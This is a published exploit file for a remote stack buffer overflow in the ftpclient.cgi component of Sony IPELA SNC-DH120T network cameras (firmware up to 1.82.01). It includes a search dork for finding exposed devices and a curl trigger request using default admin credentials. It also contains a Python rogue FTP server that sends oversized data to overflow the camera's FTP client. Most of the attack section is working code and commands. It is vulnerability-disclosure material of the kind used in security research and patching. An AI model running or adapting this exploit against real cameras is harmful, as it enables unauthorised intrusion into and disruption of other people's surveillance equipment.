# Exploit Title: Sony IPELA Network Camera 1.82.01 - 'ftpclient.cgi' Remote Stack Buffer Overflow # Google Dork: Server: Mida eFramework # Date: 2020-09-30 # Exploit Author: LiquidWorm # Vendor Homepage: https://pro.sony # Version: <= 1.82.01 #!/usr/bin/env python # # # Sony IPELA Network Camera (ftpclient.cgi) Remote Stack Buffer Overflow # # # Vendor: Sony Electronics Inc. # Product web page: https://pro.sony # Affected version: SNC-DH120T v1.82.01 # # # Summary: IPELA is Sony's vision of the ultimate workplace, designed to revolutionize # the way business communicates over global IP networks. IPELA products can improve the # efficiency of your organization by connecting people and places with high-quality audio # and video. The SNC-DH120T is an indoor tamper proof, high definition (720p) minidome # network security camera with Electronic Day/Night settings, DEPA analysis and is ONVIF # compliant. It supports dual streaming of H.264, MPEG-4 and JPEG at full frame-rate. # # Desc: The vulnerability is caused due to a boundary error in the processing of received # FTP traffic through the FTP client functionality (ftpclient.cgi), which can be exploited # to cause a stack-based buffer overflow when a user issues a POST request to connect to a # malicious FTP server. Successful exploitation could allow execution of arbitrary code on # the affected device or cause denial of service scenario. # # Tested on: gen5th/1.x # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2020-5596 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5596.php # Fixed in 1.88.0.0: https://pro.sony/en_NL/support-resources/snc-dh120/software/mpengb00000928 # # # 28.10.2019 # # PoC: # Trigger: # curl 'http://10.0.0.3:5080/command/ftpclient.cgi' \ # -H 'Connection: keep-alive' \ # -H 'Cache-Control: max-age=0' \ # -H 'Authorization: Basic YWRtaW46YWRtaW4=' \ # -H 'Upgrade-Insecure-Requests: 1' \ # -H 'Origin: http://10.0.0.3:5080' \ # -H 'Content-Type: application/x-www-form-urlencoded' \ # -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36' \ # -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \ # -H 'Referer: http://81.83.17.200:5080/en/l4/ftp/common.html' \ # -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' \ # --data 'FtpClientFunc=on&FcServerName=10.0.0.5&FcUserName=EVIL&FcPassword=NONESO&FcPassive=off&reload=referer' \ # --compressed \ # --insecure # # # Observed fixed version log: # 2020-07-27 17:48:03 FTP client Unexpected error occurred during FTP client operation. # import socket HOST = '127.0.0.1' # 10.0.0.5 PORT = 21 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(1) conn, addr = s.accept() print 'Connection from', addr while True: data = conn.recv(1024) if not data: break evil = "A" * 100000 evil += "B" * 10000 evil += "C" * 1000 conn.sendall(evil+'\n') s.close()